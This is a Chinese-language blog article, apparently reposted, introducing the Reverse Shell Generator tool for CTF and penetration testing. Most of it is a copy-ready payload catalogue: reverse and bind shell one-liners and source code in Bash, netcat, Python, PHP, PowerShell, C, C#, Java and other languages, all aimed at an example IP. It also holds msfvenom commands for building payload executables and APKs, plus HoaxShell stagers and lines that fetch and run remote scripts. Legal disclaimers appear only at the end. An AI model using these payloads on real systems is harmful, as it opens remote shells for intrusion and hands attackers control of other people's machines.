文章总结: 本文详细介绍了开源工具ReverseShellGenerator,旨在辅助CTF竞赛与安全测试中的反向Shell生成。文章提供了项目地址、在线版本及Docker本地部署方法,并展示了监听器生成、编码支持等核心功能。文档核心部分汇集了Bash、Netcat、Python、PHP、C、C#等多种编程语言的反向Shell命令示例,以及各类监听器配置指令。作为一款实用工具指南,它极大简化了Payload构造流程,为渗透测试人员提供了便捷的速查与生成方案,具有较高的实战参考价值。 综合评分: 85 文章分类: 渗透测试,安全工具,实战经验,CTF
【渗透测试】Reverse Shell Generator 工具使用指南
原创
利刃信安 利刃信安
利刃信安
2026年2月26日 11:27 北京
Reverse Shell Generator 工具使用指南
项目简介
Reverse Shell Generator 是一个开源的反向 Shell 生成器,托管在 GitHub 上,主要用于 CTF(Capture The Flag)竞赛和安全测试。
- • GitHub 仓库: https://github.com/0dayCTF/reverse-shell-generator
- • 在线版本: https://revshells.com
主要功能
| 功能 | 描述 | | — | — | | 生成监听器和反向 Shell | 支持生成常见的监听器和反向 Shell 命令 | | 保存按钮 | 从浏览器下载 Payload | | Raw 模式 | 通过 cURL 将 Shell 下载到本地机器 | | 端口递增按钮 | 监听端口号自动 +1 | | 编码支持 | URI 和 Base64 编码 | | 本地存储 | 持久化保存配置 | | 主题模式 | 深色、浅色和 Meme 模式 | | HoaxShell 集成 | 支持自定义监听器 |
本地部署
使用 Netlify 开发模式
npx netlify dev
使用 Docker 运行
docker build -t reverse_shell_generator .
docker run -d -p 80:80 reverse_shell_generator
然后访问 http://localhost:80
Reverse Shell 命令大全
以下以 IP: 10.10.10.129,端口: 9001,Shell: bash 为例,列出所有命令。
监听器命令 (Listener)
| 名称 | 命令 |
| — | — |
| nc | nc -lvnp 9001 |
| nc freebsd | nc -lvn 9001 |
| busybox nc | busybox nc -lp 9001 |
| ncat | ncat -lvnp 9001 |
| ncat.exe | ncat.exe -lvnp 9001 |
| ncat (TLS) | ncat --ssl -lvnp 9001 |
| rlwrap + nc | rlwrap -cAr nc -lvnp 9001 |
| rustcat | rcat listen 9001 |
| openssl | openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 30 -nodes; openssl s_server -quiet -key key.pem -cert cert.pem -port 9001 |
| pwncat | python3 -m pwncat -lp 9001 |
| pwncat (windows) | python3 -m pwncat -m windows -lp 9001 |
| windows ConPty | stty raw -echo; (stty size; cat) | nc -lvnp 9001 |
| socat | socat -d -d TCP-LISTEN:9001 STDOUT |
| socat (TTY) | socat -d -d file:\ tty,raw,echo=0 TCP-LISTEN:9001 |
| powercat | powercat -l -p 9001 |
| msfconsole | msfconsole -q -x "use multi/handler; set payload {payload}; set lhost 10.10.10.129; set lport 9001; exploit" |
| hoaxshell | python3 -c "$(curl -s https://raw.githubusercontent.com/t3l3machus/hoaxshell/main/revshells/hoaxshell-listener.py)" -t {type} -p 9001 |
Bash 反向 Shell
Bash -i
bash -i >& /dev/tcp/10.10.10.129/9001 0>&1
Bash 196
0<&196;exec 196<>/dev/tcp/10.10.10.129/9001; bash <&196 >&196 2>&196
Bash read line
exec 5<>/dev/tcp/10.10.10.129/9001;cat <&5 | while read line; do $line 2>&5 >&5; done
Bash 5
bash -i 5<> /dev/tcp/10.10.10.129/9001 0<&5 1>&5 2>&5
Bash udp
bash -i >& /dev/udp/10.10.10.129/9001 0>&1
Netcat 反向 Shell
nc mkfifo
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc 10.10.10.129 9001 >/tmp/f
nc -e
nc 10.10.10.129 9001 -e bash
nc.exe -e (Windows)
nc.exe 10.10.10.129 9001 -e bash
BusyBox nc -e
busybox nc 10.10.10.129 9001 -e bash
nc -c
nc -c bash 10.10.10.129 9001
ncat -e
ncat 10.10.10.129 9001 -e bash
ncat.exe -e (Windows)
ncat.exe 10.10.10.129 9001 -e bash
ncat udp
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|ncat -u 10.10.10.129 9001 >/tmp/f
其他工具反向 Shell
curl
C='curl -Ns telnet://10.10.10.129:9001'; $C </dev/null 2>&1 | bash 2>&1 | $C >/dev/null
rustcat
rcat connect -s bash 10.10.10.129 9001
telnet
TF=$(mktemp -u);mkfifo $TF && telnet 10.10.10.129 9001 0<$TF | bash 1>$TF
socat #1
socat TCP:10.10.10.129:9001 EXEC:bash
socat #2 (TTY)
socat TCP:10.10.10.129:9001 EXEC:'bash',pty,stderr,setsid,sigint,sane
sqlite3 nc mkfifo
sqlite3 /dev/null '.shell rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc 10.10.10.129 9001 >/tmp/f'
C 反向 Shell
C (Linux/macOS)
#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>
int main(void){
int port = 9001;
struct sockaddr_in revsockaddr;
int sockt = socket(AF_INET, SOCK_STREAM, 0);
revsockaddr.sin_family = AF_INET;
revsockaddr.sin_port = htons(port);
revsockaddr.sin_addr.s_addr = inet_addr("10.10.10.129");
connect(sockt, (struct sockaddr *) &revsockaddr,
sizeof(revsockaddr));
dup2(sockt, 0);
dup2(sockt, 1);
dup2(sockt, 2);
char * const argv[] = {"bash", NULL};
execvp("bash", argv);
return 0;
}
C Windows
#include <winsock2.h>
#include <stdio.h>
#pragma comment(lib,"ws2_32")
WSADATA wsaData;
SOCKET Winsock;
struct sockaddr_in hax;
char ip_addr[16] = "10.10.10.129";
char port[6] = "9001";
STARTUPINFO ini_processo;
PROCESS_INFORMATION processo_info;
int main()
{
WSAStartup(MAKEWORD(2, 2), &wsaData);
Winsock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
struct hostent *host;
host = gethostbyname(ip_addr);
strcpy_s(ip_addr, 16, inet_ntoa(*((struct in_addr *)host->h_addr)));
hax.sin_family = AF_INET;
hax.sin_port = htons(atoi(port));
hax.sin_addr.s_addr = inet_addr(ip_addr);
WSAConnect(Winsock, (SOCKADDR*)&hax, sizeof(hax), NULL, NULL, NULL, NULL);
memset(&ini_processo, 0, sizeof(ini_processo));
ini_processo.cb = sizeof(ini_processo);
ini_processo.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
ini_processo.hStdInput = ini_processo.hStdOutput = ini_processo.hStdError = (HANDLE)Winsock;
TCHAR cmd[255] = TEXT("cmd.exe");
CreateProcess(NULL, cmd, NULL, NULL, TRUE, 0, NULL, NULL, &ini_processo, &processo_info);
return 0;
}
C# 反向 Shell
C# TCP Client
using System;
using System.Text;
using System.IO;
using System.Diagnostics;
using System.ComponentModel;
using System.Linq;
using System.Net;
using System.Net.Sockets;
namespace ConnectBack
{
public class Program
{
static StreamWriter streamWriter;
public static void Main(string[] args)
{
using(TcpClient client = new TcpClient("10.10.10.129", 9001))
{
using(Stream stream = client.GetStream())
{
using(StreamReader rdr = new StreamReader(stream))
{
streamWriter = new StreamWriter(stream);
StringBuilder strInput = new StringBuilder();
Process p = new Process();
p.StartInfo.FileName = "bash";
p.StartInfo.CreateNoWindow = true;
p.StartInfo.UseShellExecute = false;
p.StartInfo.RedirectStandardOutput = true;
p.StartInfo.RedirectStandardInput = true;
p.StartInfo.RedirectStandardError = true;
p.OutputDataReceived += new DataReceivedEventHandler(CmdOutputDataHandler);
p.Start();
p.BeginOutputReadLine();
while(true)
{
strInput.Append(rdr.ReadLine());
p.StandardInput.WriteLine(strInput);
strInput.Remove(0, strInput.Length);
}
}
}
}
}
private static void CmdOutputDataHandler(object sendingProcess, DataReceivedEventArgs outLine)
{
StringBuilder strOutput = new StringBuilder();
if (!String.IsNullOrEmpty(outLine.Data))
{
try
{
strOutput.Append(outLine.Data);
streamWriter.WriteLine(strOutput);
streamWriter.Flush();
}
catch (Exception err) { }
}
}
}
}
C# Bash -i
using System;
using System.Diagnostics;
namespace BackConnect {
class ReverseBash {
public static void Main(string[] args) {
Process proc = new System.Diagnostics.Process();
proc.StartInfo.FileName = "bash";
proc.StartInfo.Arguments = "-c \"bash -i >& /dev/tcp/10.10.10.129/9001 0>&1\"";
proc.StartInfo.UseShellExecute = false;
proc.StartInfo.RedirectStandardOutput = true;
proc.Start();
while (!proc.StandardOutput.EndOfStream) {
Console.WriteLine(proc.StandardOutput.ReadLine());
}
}
}
}
Haskell 反向 Shell
Haskell #1
module Main where
import System.Process
main = callCommand "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | bash -i 2>&1 | nc 10.10.10.129 9001 >/tmp/f"
OpenSSL 反向 Shell
OpenSSL
mkfifo /tmp/s; bash -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 10.10.10.129:9001 > /tmp/s; rm /tmp/s
Perl 反向 Shell
Perl
perl -e 'use Socket;$i="10.10.10.129";$p=9001;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("bash -i");};'
Perl no sh
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"10.10.10.129:9001");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
PHP 反向 Shell
PHP exec
php -r '$sock=fsockopen("10.10.10.129",9001);exec("bash <&3 >&3 2>&3");'
PHP shell_exec
php -r '$sock=fsockopen("10.10.10.129",9001);shell_exec("bash <&3 >&3 2>&3");'
PHP system
php -r '$sock=fsockopen("10.10.10.129",9001);system("bash <&3 >&3 2>&3");'
PHP passthru
php -r '$sock=fsockopen("10.10.10.129",9001);passthru("bash <&3 >&3 2>&3");'
PHP `
php -r '$sock=fsockopen("10.10.10.129",9001);`bash <&3 >&3 2>&3`;'
PHP popen
php -r '$sock=fsockopen("10.10.10.129",9001);popen("bash <&3 >&3 2>&3", "r");'
PHP proc_open
php -r '$sock=fsockopen("10.10.10.129",9001);$proc=proc_open("bash", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);'
Python 反向 Shell
Python #1
export RHOST="10.10.10.129";export RPORT=9001;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("bash")'
Python #2
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.10.129",9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("bash")'
Python3 #1
export RHOST="10.10.10.129";export RPORT=9001;python3 -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("bash")'
Python3 #2
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.10.129",9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("bash")'
Python3 Windows
import os,socket,subprocess,threading;
def s2p(s, p):
while True:
data = s.recv(1024)
if len(data) > 0:
p.stdin.write(data)
p.stdin.flush()
def p2s(s, p):
while True:
s.send(p.stdout.read(1))
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.10.10.129",9001))
p=subprocess.Popen(["bash"], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE)
s2p_thread = threading.Thread(target=s2p, args=[s, p])
s2p_thread.daemon = True
s2p_thread.start()
p2s_thread = threading.Thread(target=p2s, args=[s, p])
p2s_thread.daemon = True
p2s_thread.start()
try:
p.wait()
except KeyboardInterrupt:
s.close()
Python3 shortest
python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("10.10.10.129",9001));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("bash")'
Ruby 反向 Shell
Ruby #1
ruby -rsocket -e'spawn("bash",[:in,:out,:err]=>TCPSocket.new("10.10.10.129",9001))'
Ruby no sh
ruby -rsocket -e'exit if fork;c=TCPSocket.new("10.10.10.129","9001");loop{c.gets.chomp!;(exit! if $_=="exit");($_=~/cd (.+)/i?(Dir.chdir($1)):(IO.popen($_,?r){|io|c.print io.read}))rescue c.puts "failed: #{$_}"}'
PowerShell 反向 Shell (Windows)
Windows ConPty
IEX(IWR https://raw.githubusercontent.com/antonioCoco/ConPtyShell/master/Invoke-ConPtyShell.ps1 -UseBasicParsing); Invoke-ConPtyShell 10.10.10.129 9001
PowerShell #1
$LHOST = "10.10.10.129"; $LPORT = 9001; $TCPClient = New-Object Net.Sockets.TCPClient($LHOST, $LPORT); $NetworkStream = $TCPClient.GetStream(); $StreamReader = New-Object IO.StreamReader($NetworkStream); $StreamWriter = New-Object IO.StreamWriter($NetworkStream); $StreamWriter.AutoFlush = $true; $Buffer = New-Object System.Byte[] 1024; while ($TCPClient.Connected) { while ($NetworkStream.DataAvailable) { $RawData = $NetworkStream.Read($Buffer, 0, $Buffer.Length); $Code = ([text.encoding]::UTF8).GetString($Buffer, 0, $RawData -1) }; if ($TCPClient.Connected -and $Code.Length -gt 1) { $Output = try { Invoke-Expression ($Code) 2>&1 } catch { $_ }; $StreamWriter.Write("$Output`n"); $Code = $null } }; $TCPClient.Close(); $NetworkStream.Close(); $StreamReader.Close(); $StreamWriter.Close()
PowerShell #2
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('10.10.10.129',9001);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
PowerShell #3
powershell -nop -W hidden -noni -ep bypass -c "$TCPClient = New-Object Net.Sockets.TCPClient('10.10.10.129', 9001);$NetworkStream = $TCPClient.GetStream();$StreamWriter = New-Object IO.StreamWriter($NetworkStream);function WriteToStream ($String) {[byte[]]$script:Buffer = 0..$TCPClient.ReceiveBufferSize | % {0};$StreamWriter.Write($String + 'SHELL> ');$StreamWriter.Flush()}WriteToStream '';while(($BytesRead = $NetworkStream.Read($Buffer, 0, $Buffer.Length)) -gt 0) {$Command = ([text.encoding]::UTF8).GetString($Buffer, 0, $BytesRead - 1);$Output = try {Invoke-Expression $Command 2>&1 | Out-String} catch {$_ | Out-String}WriteToStream ($Output)}$StreamWriter.Close()"
PowerShell #4 (TLS)
$sslProtocols = [System.Security.Authentication.SslProtocols]::Tls12; $TCPClient = New-Object Net.Sockets.TCPClient('10.10.10.129', 9001);$NetworkStream = $TCPClient.GetStream();$SslStream = New-Object Net.Security.SslStream($NetworkStream,$false,({$true} -as [Net.Security.RemoteCertificateValidationCallback]));$SslStream.AuthenticateAsClient('cloudflare-dns.com',$null,$sslProtocols,$false);if(!$SslStream.IsEncrypted -or !$SslStream.IsSigned) {$SslStream.Close();exit}$StreamWriter = New-Object IO.StreamWriter($SslStream);function WriteToStream ($String) {[byte[]]$script:Buffer = New-Object System.Byte[] 4096 ;$StreamWriter.Write($String + 'SHELL> ');$StreamWriter.Flush()};WriteToStream '';while(($BytesRead = $SslStream.Read($Buffer, 0, $Buffer.Length)) -gt 0) {$Command = ([text.encoding]::UTF8).GetString($Buffer, 0, $BytesRead - 1);$Output = try {Invoke-Expression $Command 2>&1 | Out-String} catch {$_ | Out-String}WriteToStream ($Output)}$StreamWriter.Close()
Node.js 反向 Shell
node.js
require('child_process').exec('nc -e bash 10.10.10.129 9001')
node.js #2
(function(){
var net = require("net"),
cp = require("child_process"),
sh = cp.spawn("bash", []);
var client = new net.Socket();
client.connect(9001, "10.10.10.129", function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});
return /a/; // Prevents the Node.js application from crashing
})();
Java 反向 Shell
Java #1
public class shell {
public static void main(String[] args) {
Process p;
try {
p = Runtime.getRuntime().exec("bash -c $@|bash 0 echo bash -i >& /dev/tcp/10.10.10.129/9001 0>&1");
p.waitFor();
p.destroy();
} catch (Exception e) {}
}
}
Java #2
public class shell {
public static void main(String[] args) {
ProcessBuilder pb = new ProcessBuilder("bash", "-c", "$@| bash -i >& /dev/tcp/10.10.10.129/9001 0>&1")
.redirectErrorStream(true);
try {
Process p = pb.start();
p.waitFor();
p.destroy();
} catch (Exception e) {}
}
}
Java #3
import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;
public class shell {
public static void main(String[] args) {
String host = "10.10.10.129";
int port = 9001;
String cmd = "bash";
try {
Process p = new ProcessBuilder(cmd).redirectErrorStream(true).start();
Socket s = new Socket(host, port);
InputStream pi = p.getInputStream(), pe = p.getErrorStream(), si = s.getInputStream();
OutputStream po = p.getOutputStream(), so = s.getOutputStream();
while (!s.isClosed()) {
while (pi.available() > 0)
so.write(pi.read());
while (pe.available() > 0)
so.write(pe.read());
while (si.available() > 0)
po.write(si.read());
so.flush();
po.flush();
Thread.sleep(50);
try {
p.exitValue();
break;
} catch (Exception e) {}
}
p.destroy();
s.close();
} catch (Exception e) {}
}
}
Groovy 反向 Shell
Groovy
String host="10.10.10.129";int port=9001;String cmd="bash";Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
zsh 反向 Shell
zsh
zsh -c 'zmodload zsh/net/tcp && ztcp 10.10.10.129 9001 && zsh >&$REPLY 2>&$REPLY 0>&$REPLY'
Lua 反向 Shell
Lua #1
lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.10.10.129','9001');os.execute('bash -i <&3 >&3 2>&3');"
Lua #2
lua5.1 -e 'local host, port = "10.10.10.129", 9001 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, "r") local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()'
Golang 反向 Shell
Golang
echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","10.10.10.129:9001");cmd:=exec.Command("bash");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > /tmp/t.go && go run /tmp/t.go && rm /tmp/t.go
Vlang 反向 Shell
Vlang
echo 'import os' > /tmp/t.v && echo 'fn main() { os.system("nc -e bash 10.10.10.129 9001 0>&1") }' >> /tmp/t.v && v run /tmp/t.v && rm /tmp/t.v
Awk 反向 Shell
Awk
awk 'BEGIN {s = "/inet/tcp/0/10.10.10.129/9001"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null
Dart 反向 Shell
Dart
import 'dart:io';
import 'dart:convert';
main() {
Socket.connect("10.10.10.129", 9001).then((socket) {
socket.listen((data) {
Process.start('bash', []).then((Process process) {
process.stdin.writeln(new String.fromCharCodes(data).trim());
process.stdout
.transform(utf8.decoder)
.listen((output) { socket.write(output); });
});
},
onDone: () {
socket.destroy();
});
});
}
Crystal 反向 Shell
Crystal (system)
crystal eval 'require "process";require "socket";c=Socket.tcp(Socket::Family::INET);c.connect("10.10.10.129",9001);loop{m,l=c.receive;p=Process.new(m.rstrip("\n"),output:Process::Redirect::Pipe,shell:true);c<<p.output.gets_to_end}'
Crystal (code)
require "process"
require "socket"
c = Socket.tcp(Socket::Family::INET)
c.connect("10.10.10.129", 9001)
loop do
m, l = c.receive
p = Process.new(m.rstrip("\n"), output:Process::Redirect::Pipe, shell:true)
c << p.output.gets_to_end
end
Bind Shell 命令
Python3 Bind
python3 -c 'exec("""import socket as s,subprocess as sp;s1=s.socket(s.AF_INET,s.SOCK_STREAM);s1.setsockopt(s.SOL_SOCKET,s.SO_REUSEADDR, 1);s1.bind(("0.0.0.0",9001));s1.listen(1);c,a=s1.accept();
while True: d=c.recv(1024).decode();p=sp.Popen(d,shell=True,stdout=sp.PIPE,stderr=sp.PIPE,stdin=sp.PIPE);c.sendall(p.stdout.read()+p.stderr.read())""")'
PHP Bind
php -r '$s=socket_create(AF_INET,SOCK_STREAM,SOL_TCP);socket_bind($s,"0.0.0.0",9001);\socket_listen($s,1);$cl=socket_accept($s);while(1){if(!socket_write($cl,"$ ",2))exit;\$in=socket_read($cl,100);$cmd=popen("$in","r");while(!feof($cmd)){$m=fgetc($cmd);socket_write($cl,$m,strlen($m));}}'
nc Bind
rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc -l 0.0.0.0 9001 > /tmp/f
Perl Bind
perl -e 'use Socket;$p=9001;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));bind(S,sockaddr_in($p, INADDR_ANY));listen(S,SOMAXCONN);for(;$p=accept(C,S);close C){open(STDIN,">&C");open(STDOUT,">&C");open(STDERR,">&C");exec("/bin/bash -i");};'
MSFVenom 命令
Windows
| 名称 | 命令 |
| — | — |
| Windows Meterpreter Staged Reverse TCP (x64) | msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.10.129 LPORT=9001 -f exe -o reverse.exe |
| Windows Meterpreter Stageless Reverse TCP (x64) | msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=10.10.10.129 LPORT=9001 -f exe -o reverse.exe |
| Windows Staged Reverse TCP (x64) | msfvenom -p windows/x64/shell/reverse_tcp LHOST=10.10.10.129 LPORT=9001 -f exe -o reverse.exe |
| Windows Stageless Reverse TCP (x64) | msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.10.129 LPORT=9001 -f exe -o reverse.exe |
| Windows Staged JSP Reverse TCP | msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.10.129 LPORT=9001 -f jsp -o ./rev.jsp |
| Windows Staged ASPX Reverse TCP | msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.129 LPORT=9001 -f aspx -o reverse.aspx |
| Windows Staged ASPX Reverse TCP (x64) | msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.10.129 LPORT=9001 -f aspx -o reverse.aspx |
Linux
| 名称 | 命令 |
| — | — |
| Linux Meterpreter Staged Reverse TCP (x64) | msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.10.10.129 LPORT=9001 -f elf -o reverse.elf |
| Linux Stageless Reverse TCP (x64) | msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.10.129 LPORT=9001 -f elf -o reverse.elf |
macOS
| 名称 | 命令 |
| — | — |
| macOS Meterpreter Staged Reverse TCP (x64) | msfvenom -p osx/x64/meterpreter/reverse_tcp LHOST=10.10.10.129 LPORT=9001 -f macho -o shell.macho |
| macOS Meterpreter Stageless Reverse TCP (x64) | msfvenom -p osx/x64/meterpreter_reverse_tcp LHOST=10.10.10.129 LPORT=9001 -f macho -o shell.macho |
| macOS Stageless Reverse TCP (x64) | msfvenom -p osx/x64/shell_reverse_tcp LHOST=10.10.10.129 LPORT=9001 -f macho -o shell.macho |
其他平台
| 名称 | 命令 |
| — | — |
| PHP Meterpreter Stageless Reverse TCP | msfvenom -p php/meterpreter_reverse_tcp LHOST=10.10.10.129 LPORT=9001 -f raw -o shell.php |
| PHP Reverse PHP | msfvenom -p php/reverse_php LHOST=10.10.10.129 LPORT=9001 -o shell.php |
| JSP Stageless Reverse TCP | msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.10.129 LPORT=9001 -f raw -o shell.jsp |
| WAR Stageless Reverse TCP | msfvenom -p java/shell_reverse_tcp LHOST=10.10.10.129 LPORT=9001 -f war -o shell.war |
| Android Meterpreter Reverse TCP | msfvenom --platform android -p android/meterpreter/reverse_tcp lhost=10.10.10.129 lport=9001 R -o malicious.apk |
| Python Stageless Reverse TCP | msfvenom -p cmd/unix/reverse_python LHOST=10.10.10.129 LPORT=9001 -f raw |
| Bash Stageless Reverse TCP | msfvenom -p cmd/unix/reverse_bash LHOST=10.10.10.129 LPORT=9001 -f raw -o shell.sh |
HoaxShell 命令
Windows CMD cURL
@echo off&cmd /V:ON /C "SET ip=10.10.10.129:9001&&SET sid="Authorization: eb6a44aa-8acc1e56-629ea455"&&SET protocol=http://&&curl !protocol!!ip!/eb6a44aa -H !sid! > NUL && for /L %i in (0) do (curl -s !protocol!!ip!/8acc1e56 -H !sid! > !temp!\cmd.bat & type !temp!\cmd.bat | findstr None > NUL & if errorlevel 1 ((!temp!\cmd.bat > !tmp!\out.txt 2>&1) & curl !protocol!!ip!/629ea455 -X POST -H !sid! --data-binary @!temp!\out.txt > NUL)) & timeout 1" > NUL
PowerShell IEX
$s='10.10.10.129:9001';$i='14f30f27-650c00d7-fef40df7';$p='http://';$v=IRM -UseBasicParsing -Uri $p$s/14f30f27 -Headers @{"Authorization"=$i};while ($true){$c=(IRM -UseBasicParsing -Uri $p$s/650c00d7 -Headers @{"Authorization"=$i});if ($c -ne 'None') {$r=IEX $c -ErrorAction Stop -ErrorVariable e;$r=Out-String -InputObject $r;$t=IRM -Uri $p$s/fef40df7 -Method POST -Headers @{"Authorization"=$i} -Body ([System.Text.Encoding]::UTF8.GetBytes($e+$r) -join ' ')} sleep 0.8}
支持的 Shell 类型
| Shell | 路径 | | — | — | | sh | /bin/sh | | bash | /bin/bash | | cmd | Windows CMD | | powershell | Windows PowerShell | | pwsh | PowerShell Core | | ash | Almquist Shell | | bsh | Bourne Shell | | csh | C Shell | | ksh | Korn Shell | | zsh | Z Shell | | pdksh | Public Domain Korn Shell | | tcsh | TENEX C Shell | | mksh | MirBSD Korn Shell | | dash | Debian Almquist Shell |
快速参考表
| 语言/工具 | 命令类型 | 适用场景 | | — | — | — | | Bash | 内置 | Linux 原生支持 | | Netcat | 通用 | 最常用 | | Python | 脚本 | 跨平台 | | Perl | 脚本 | Unix/Linux | | Ruby | 脚本 | Rails 环境 | | PHP | Web | Web 服务器 | | PowerShell | Windows | Windows 系统 | | Java | 跨平台 | 企业环境 | | Node.js | JavaScript | 服务端 JS | | Go/Rust/V | 编译 | 静态二进制 |
相关资源
- • HoaxShell 文档: https://github.com/t3l3machus/hoaxshell/tree/main/revshells
免责声明
本文档仅供安全研究和教育目的使用。请确保在使用这些技术时遵守当地法律法规,仅在授权范围内进行测试。未经授权使用这些技术可能构成违法行为。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:利刃信安 利刃信安 利刃信安《【渗透测试】Reverse Shell Generator 工具使用指南》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论